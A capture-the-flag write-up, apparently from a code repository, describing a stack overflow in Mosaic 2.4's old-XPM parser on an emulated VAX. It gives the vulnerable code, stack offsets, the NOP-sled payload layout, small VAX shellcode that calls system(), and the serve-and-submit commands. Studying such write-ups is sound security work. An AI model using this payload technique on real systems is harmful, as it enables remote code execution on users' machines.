Ancients VAX Broker Writeup

Flag: flag{h4x_0n_4_v4x}

Challenge summary

The default player path is:

browser: mosaic24
HTTP mode: slirp_proxy
target command: RUN SYS$LOGIN:ANCIENTS$DISPENSE_FLAG.EXE

The broker boots a fresh OpenVMS/VAX guest, launches Mosaic 2.4, visits a user-supplied http:// URL, and returns the flag only if ANCIENTS$DISPENSE_FLAG.EXE runs successfully and writes the authenticated marker file.

The intended solve is memory corruption. That is indeed the shortest path.

Vulnerability

The bug is in the old-style XPM parser in work/mosaic-2.4/mosaic-2_4/src/picread.c, in ReadXpmPixmap():

char line[BUFSIZ], name_and_type[MAX_LINE];
...
j = 0;
tchar = getc(fp);
while ((tchar != '"')&&(tchar != EOF))
{
    line[j] = (char)tchar;
    tchar = getc(fp);
    j++;
}
line[j] = '\0';

There is no bounds check on j, so an overlong old-XPM color string overflows line[BUFSIZ] on the stack.

This is reachable from the normal broker path by serving HTML containing an <IMG> pointing at an old-style XPM.

Initial hurdle

Locally, the deployed MOSAIC24.EXE had been linked with debug info in a way that caused the helper launcher to drop into the VMS debugger instead of just running the browser. To make the broker path actually exercise the browser, I changed scripts/run-mosaic24.sh to launch:

RUN/NODEBUG SYS$SYSTEM:MOSAIC24.EXE

Without that, the local launcher was not representative of the intended challenge flow.

Triggering the bug

I built a small harness server in solve/test_server.py. The final exploit path is /g, which serves:

a tiny HTML page
an <IMG> tag referencing /boom.xpm
an old-style XPM whose color string is the overflow payload

The final submission URL is:

http://host.docker.internal:8767/g

The host.docker.internal part matters for the real /submit flow because the broker’s slirp_proxy fetches the URL from inside the Docker container, not directly from the guest.

Proving control

The first step was a plain cyclic overwrite. That immediately produced crashes like:

%SYSTEM-F-ACCVIO, access violation, virtual address=73414673, PC=80000010
R1 = 73414673

0x73414673 came directly from the cyclic pattern, which confirmed that the XPM color string was smashing control-sensitive stack state.

Recovering the stack layout

I used the VMS command-line debugger with DECwindows still enabled:

$ DEFINE/NOLOG DBG$DECW$DISPLAY " "
$ RUN SYS$SYSTEM:MOSAIC24.EXE
DBG> go

Then I interrupted execution in a slow, non-crashing XPM parse and inspected the active frame:

DBG> show calls
DBG> evaluate/address PICREAD\ReadXpmPixmap\line
DBG> evaluate %fp
DBG> evaluate %ap
DBG> examine/longword 2146132660:2146132692+80

The important values were:

line at 0x7FEB42CC
ReadXpmPixmap frame pointer at 0x7FEB62D4
distance from line to FP: 0x2008 = 8200 bytes

So the overflow reaches the saved frame words starting at offset 8200.

I also confirmed the function epilogue and frame shape from the debugger. The saved return PC lives in the frame words immediately above that overflow boundary.

Why the obvious overwrite was not enough

Several naïve payloads crashed, but did not solve the challenge:

full cyclic overwrite
direct saved-PC overwrite
attempts to redirect exception handling / frame handler state

The main issue was that overwriting too far past offset 8200 trampled live argument/local state that ReadXpmPixmap() still needed before returning. In particular, if I overwrote too much of the frame/argument area, Mosaic died earlier with:

Not enough memory for data.

The winning approach was:

preserve the live frame words needed for the function to finish
overwrite only the saved return PC path
leave the argument count byte intact
accept that Mosaic can crash after the helper runs, because the broker only cares that the helper executes before the process dies

Figuring out the VAX call target

One subtle point on VAX/OpenVMS: the map showed DECC$SYSTEM at 0x000B89A0, but that is the imported transfer slot, not the final routine value to embed directly in the shellcode.

Using the debugger:

DBG> examine/longword 756128

I read the live value stored in that slot and got:

0x00330558

That is the value the final shellcode uses.

Final payload

The final exploit is implemented in solve/test_server.py under mode == "shellret".

Important constants:

stack buffer base: 0x7FEB42CC
overwrite start for saved frame words: offset 8200
total overwrite length: 8229
NOP sled start: offset 128
return target inside sled: offset 2112
real shellcode start: offset 4096
imported DECC$SYSTEM value: 0x00330558

The payload layout is:

old-XPM color string
VAX NOP sled (0x01) from offset 128 to 4096
shellcode at offset 4096
preserved frame words starting at offset 8200
saved return PC changed to land in the NOP sled
final argument-count byte at offset 8228 restored to 0x07

The shellcode itself is tiny:

subl2   #4, sp
pushab  command_string
calls   #1, @(pc-relative inline literal)
ret

The inline literal contains 0x00330558, and the command string is:

RUN SYS$LOGIN:ANCIENTS$DISPENSE_FLAG.EXE

The reason for the NOP sled is that the exact stack landing point differed slightly between debug and nodebug runs. Returning into the middle of the sled made the exploit reliable enough on the real broker path.

Final shape of the exploit path

/g serves:

HTML with Content-Type: text/html
an <IMG> pointing at /boom.xpm?...mode=shellret...

/boom.xpm serves an old-style XPM with:

one color
one pixel
the color string replaced by the overflow payload

Once ReadXpmPixmap() returns, control jumps into the overwritten stack buffer, calls system("RUN SYS$LOGIN:ANCIENTS$DISPENSE_FLAG.EXE"), and then Mosaic dies afterward with ROPRAND. That post-helper crash is fine: the broker has already seen the success marker.

Reproduction

Start the harness:

python3 solve/test_server.py --port 8767

Start the broker:

BROKER_FLAG='flag{real_flag}' \
python3 broker/broker.py serve --listen-host 0.0.0.0 --listen-port 8080

Submit the exploit:

curl -sS -X POST \
  --data-urlencode 'url=http://host.docker.internal:8767/g' \
  http://127.0.0.1:8080/submit

On my successful run, the broker returned:

{
  "job_id": "20260414-182631-c393fb35",
  "success": true,
  "message": "exploit succeeded",
  "duration_seconds": 33.843,
  "flag": "flag{h4x_0n_4_v4x}"
}

Notes

The exploit still crashes Mosaic after the helper runs. That is expected and acceptable.
The crucial reliability trick was not “more corruption”, but less: stop the overwrite at exactly 8229 bytes and preserve the still-live frame contents.
The final working primitive is a straightforward stack return into a VAX NOP sled plus tiny shellcode, not a complicated exception-handler takeover.

moyix/WRITEUP.md

Select an option

No results found